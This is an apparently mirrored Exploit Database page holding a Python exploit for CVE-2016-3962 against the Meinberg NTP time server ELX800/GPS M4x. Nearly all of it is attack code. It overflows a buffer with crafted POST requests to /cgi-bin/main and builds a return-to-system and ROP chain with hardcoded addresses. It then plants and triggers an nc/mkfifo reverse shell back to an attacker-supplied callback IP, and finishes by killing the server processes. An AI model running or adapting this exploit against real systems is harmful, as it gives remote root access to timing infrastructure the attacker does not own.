Meinberg NTP Time Server ELX800/GPS M4x V5.30p – Remote Command Execution / Escalate Privileges

• Exploit Database
• 108 阅读

• 作者： b0yd
  日期： 2016-07-17
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/40120/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220

  #!/usr/bin/python # # EDB Note: Source ~ https://github.com/securifera/CVE-2016-3962-Exploit # EDB Note: More info ~ https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/ # # 271 - trigger notifications # 299 - copy user defined notifications   # Kernel Version: 2.6.15.1 # System Version: 530 # Lantime configuration utility 1.27 # ELX800/GPS M4x V5.30p   import socket import struct import telnetlib import sys import time   if len(sys.argv) < 3: print "[-] <Host> <Callback IP> " exit(1)   host = sys.argv[1] callback_ip = sys.argv[2]   print "[+] exploiting Meinburg M400" port = 80   ################################################################### # # Copy user_defined_notification to /www/filetmp # Append reverse shell string to /file/tmp # csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )   param = "A" * 0x2850   resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"   system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8   #must have a listener setup to receive the callback connection on ip 192.168.60.232 # i.e. nc -v -l -p 4444 command = &apos;cp /mnt/flash/config/user_defined_notification /www/filetmp; echo "{rm,/tmp/foo};{mkfifo,/tmp/foo};/bin/bash</tmp/foo|{nc,&apos; + callback_ip +&apos;0,4444}>/tmp/foo;" >> /www/filetmp&apos;   msg = "button=" + "A"*10028 msg += struct.pack("I", system ) msg += struct.pack("I", exit ) msg += struct.pack("I", some_str ) msg += command + "\x00"   resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close()   time.sleep(1)   ################################################################### # # Copy /www/filetmp to user_defined_notification # csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )   param = "A" * 0x2850   resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"   send_cmd = 0x807ED88 system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8 ret = 0x804CE65   #stack pivot stack_pivot = 0x8049488 msg = "button=" + "A" * 9756   msg += "B" * 28 msg += struct.pack("I", 0x7FFEE01A ) # ebp msg += struct.pack("I", 0x0804ce64 ) # pop eax ; ret msg += struct.pack("I", some_str - 0x100 ) # some place msg += struct.pack("I", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret msg += struct.pack("I", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret msg += struct.pack("I", ret ) * (71/4)   msg += struct.pack("I", send_cmd ) msg += struct.pack("I", exit ) msg += struct.pack("I", 0x80012111 ) # [eax + 0x60] msg += struct.pack("I", some_str ) # buffer msg += struct.pack("I", 0xffffffff ) # count msg += "E" * 120   msg += struct.pack("I", 0xB1E8B434 ) # ebx msg += struct.pack("I", some_str - 100 ) # esi msg += struct.pack("I", some_str - 100 ) # edi msg += struct.pack("I", some_str - 0x100 ) # ebp msg += struct.pack("I", stack_pivot )# mov esp, ebp ; ret msg += "A" * 100   resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close   time.sleep(1)   ################################################################### # # Trigger reverse shell # csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )   param = "A" * 0x2850   resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"   send_cmd = 0x807ED88 system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8 ret = 0x804CE65   #stack pivot stack_pivot = 0x8049488 msg = "button=" + "A" * 9756   msg += "B" * 28 msg += struct.pack("I", 0x7FFEE01A ) # ebp msg += struct.pack("I", 0x0804ce64 ) # pop eax ; ret msg += struct.pack("I", some_str - 0x100 ) # some place msg += struct.pack("I", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret msg += struct.pack("I", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret msg += struct.pack("I", ret ) * (71/4)   msg += struct.pack("I", send_cmd ) msg += struct.pack("I", exit ) msg += struct.pack("I", 0x800120f5 ) # [eax + 0x60] msg += struct.pack("I", some_str ) # buffer msg += struct.pack("I", 0xffffffff ) # count msg += "E" * 120   msg += struct.pack("I", 0xB1E8B434 ) # ebx msg += struct.pack("I", some_str - 100 ) # esi msg += struct.pack("I", some_str - 100 ) # edi msg += struct.pack("I", some_str - 0x100 ) # ebp msg += struct.pack("I", stack_pivot )# mov esp, ebp ; ret msg += "A" * 100   resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close()   time.sleep(1)     print "[+] cleaning up" ################################################################### # # Kill all mains that are hung-up # csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) )   param = "A" * 0x2850   resp = "POST /cgi-bin/main HTTP/1.1\r\n" resp += "Host: " + host + "\r\n" resp += "User-Agent: Mozilla/5.0\r\n" resp += "Accept: text/html\r\n" resp += "Accept-Language: en-US\r\n" resp += "Connection: keep-alive\r\n" resp += "Content-Type: application/x-www-form-urlencoded\r\n"   system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8   command = &apos;killall main&apos;   msg = "button=" + "A"*10028 msg += struct.pack("I", system ) msg += struct.pack("I", exit ) msg += struct.pack("I", some_str ) msg += command + "\x00"   resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n" resp += msg csock.send(resp) csock.close()   print "[+] enjoy"